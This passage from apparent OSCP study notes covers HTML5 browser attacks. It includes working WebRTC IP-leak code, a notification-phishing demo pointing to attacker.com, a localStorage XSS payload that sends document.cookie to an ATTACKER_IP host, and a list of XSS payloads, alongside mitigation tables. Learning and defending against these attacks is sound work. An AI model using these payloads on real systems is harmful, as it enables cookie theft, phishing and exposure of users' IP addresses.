const parts = ice.candidate.candidate.split(' ');
const ip = parts[4];
const type = parts[7];
console.log(`Discovered IP: ${ip} (type: ${type})`);
resolve({ ip, type });
}
pc.close();
};
pc.createOffer()
.then(offer => pc.setLocalDescription(offer))
.catch(reject);
});
}
// Usage
leakIP().then(info => {
console.log('Leaked IP:', info);
});
10.3 VPN/Proxy Bypass Impact
Impact Assessment
| Scenario | Proxy/VPN Protection | WebRTC Leak Risk |
|---|---|---|
| HTTP Proxy | HTTP traffic only | HIGH - UDP bypasses proxy |
| HTTPS Proxy | HTTPS traffic only | HIGH - UDP bypasses proxy |
| Full VPN | All traffic | MEDIUM - depends on VPN config |
| Corporate Network | Firewall rules | HIGH - direct UDP connections |
| Tor Browser | All traffic through Tor | BLOCKED - Tor disables WebRTC |
Detection for Security Teams
// Check if WebRTC is enabled
function isWebRTCEncabled() {
return !!(window.RTCPeerConnection ||
window.mozRTCPeerConnection ||
window.webkitRTCPeerConnection);
}
// Check for IP leak on current page
function checkForIPLeak() {
if (!isWebRTCEncabled()) {
console.log('WebRTC not available');
return;
}
console.warn('WebRTC is enabled - potential IP leak risk!');
}
Mitigation Strategies
| Strategy | Method |
|---|---|
| Disable WebRTC | Browser flag: chrome://flags/#enable-webrtc |
| Browser Extension | WebRTC Leak Prevent, Kernel |
| Enterprise Policy | Group Policy to disable WebRTC |
| CSP Header | No direct CSP control, but limits script execution |
| VPN Configuration | Ensure VPN routes UDP traffic |
11. Notification API - Phishing via Notifications
Technical Explanation
The Notification API allows web applications to display system-level notifications outside the browser window. Attackers can abuse this for:
- Phishing - Fake security alerts
- Social engineering - Urgent messages
- Malware distribution - Links to malicious downloads
- Credential harvesting - Fake login prompts
Working Code Example
<!DOCTYPE html>
<html>
<body>
<h1>Notification API Phishing Demo</h1>
<button onclick="requestPermission()">Request Notification Permission</button>
<button onclick="sendPhishingNotification()">Send Phishing Notification</button>
<script>
function requestPermission() {
if (!('Notification' in window)) {
alert('This browser does not support notifications');
return;
}
Notification.requestPermission().then(function(permission) {
if (permission === 'granted') {
alert('Notification permission granted!');
// Now we can send notifications
}
});
}
function sendPhishingNotification() {
if (Notification.permission === 'granted') {
// Phishing notification example
var notification = new Notification('⚠️ Security Alert', {
body: 'Your account will be suspended in 24 hours. Click here to verify your identity.',
icon: 'https://attacker.com/fake-logo.png',
badge: 'https://attacker.com/badge.png',
tag: 'security-alert',
requireInteraction: true,
silent: false,
data: {
url: 'https://attacker.com/phishing-page'
}
});
// Handle notification click
notification.onclick = function(event) {
event.preventDefault();
window.open(notification.data.url, '_blank');
notification.close();
};
// Auto-close after delay
setTimeout(function() {
notification.close();
}, 30000);
}
}
// Spam notifications (if permission granted)
function spamNotifications() {
if (Notification.permission === 'granted') {
var messages = [
'🔥 Hot deals inside! Click now!',
'🎉 You won a prize! Claim here!',
'⚠️ Suspicious login detected!',
'💰 Make money fast! Learn more!'
];
messages.forEach(function(msg, index) {
setTimeout(function() {
new Notification(' + index);
}, index * 2000);
});
}
}
</script>
</body>
</html>
Detection and Mitigation
| Measure | Description |
|---|---|
| Permission awareness | Users should be cautious about granting notification permissions |
| Revoke permissions | Browser settings → Site Settings → Notifications |
| Browser extensions | uBlock Origin can block notification abuse |
| Enterprise policy | Restrict notification API via browser policies |
12. OSCP Lab Scenarios and Tips
Common Lab Scenarios
Scenario 1: Web Storage XSS
Machine: A web application with user preferences stored in localStorage
Steps:
- Identify that user input is stored in localStorage
- Inject XSS payload via a form field
- Navigate to a page that reads localStorage and renders unsafely
- Steal session cookie or perform actions as the victim
// Payload for localStorage XSS
'<img src=x onerror="document.location=\'http://<ATTACKER_IP>/cookie?c=\' + document.cookie">'
// Inject via:
localStorage.setItem('pref', payload);
Scenario 2: WebRTC IP Discovery
Machine: Internal web application accessible via proxy
Steps:
- Access the web application through proxy
- Use WebRTC IP leak to discover internal IP
- Pivot to internal network using discovered IP
- Exploit internal services
// Use the WebRTC leak code from Section 10
// Discover internal IP, then:
// nmap -sV <discovered_internal_ip>
Scenario 3: Canvas Data Exfiltration
Machine: Application with canvas-based image editor
Steps:
- Identify canvas operations on sensitive images
- Check if CORS headers allow cross-origin reading
- Extract pixel data via
getImageData() - Exfiltrate sensitive visual information
OSCP Tips
-
Always check Web Storage:
// In browser console Object.keys(localStorage); Object.keys(sessionStorage); localStorage; sessionStorage; -
Look for IndexedDB:
- DevTools → Application → IndexedDB
- Check for stored user data
-
Test WebSocket endpoints:
# Find WebSocket endpoints grep -r "new WebSocket" --include="*.js" . # Test with wscat wscat -c wss://target/websocket -
Check for WebRTC:
// Quick check !!window.RTCPeerConnection -
Common XSS payloads for HTML5 contexts:
// For localStorage/sessionStorage
'<script>alert(1)</script>'
'<img src=x onerror=alert(1)>'
'<svg onload=alert(1)>'
// For IndexedDB
'<iframe src="javascript:alert(1)">'
// For Drag & Drop
'data:text/html,<script>alert(1)</script>'
// For Web Worker
'alert(1)'
Exam Strategy
| Phase | Action |
|---|---|
| Recon | Check for HTML5 API usage in source code |
| Enumeration | Inspect localStorage, sessionStorage, IndexedDB |
| Exploitation | Inject payloads into storage, test WebRTC leak |
| Post-Exploit | Use stolen cookies, pivot via discovered IPs |
13. Summary Table
| Attack Vector | Severity | Difficulty | Key Mitigation |
|---|---|---|---|
| CSWH | High | Medium | Token-based auth, Origin validation |
| Web Workers | Medium | Medium | CSP worker-src, sanitize inputs |
| Canvas Fingerprinting | Medium | Easy | Browser privacy features |
| Canvas Data Exfil | High | Medium | CORS headers, taint protection |
| Geolocation | Medium | Easy | Permission management |
| localStorage XSS | High | Easy | Sanitize storage data, use textContent |
| sessionStorage XSS | High | Easy | Same as localStorage |
| IndexedDB XSS | High | Medium | Sanitize stored data |
| Drag & Drop | Medium | Medium | Validate dropped data |
| File API | Medium | Medium | Validate file types, sanitize content |
| WebRTC IP Leak | High | Easy | Disable WebRTC, VPN UDP routing |
| Notification API | Low-Medium | Easy | Permission awareness |
14. References
- OWASP HTML5 Security Cheat Sheet: https://cheatsheetseries.owasp.org/cheatsheets/HTML5_Security_Cheat_Sheet.html
- Mozilla Developer Network - Web Security: https://developer.mozilla.org/en-US/docs/Web/Security
- PortSwigger Web Security Academy: https://portswigger.net/web-security
- “HTML5 Security and Privacy” - various security research papers
- OSCP Official Course Materials - Chapter 08: Client-Side Attacks
Last Updated: 2026-09-01 This study material is for educational purposes and OSCP exam preparation only.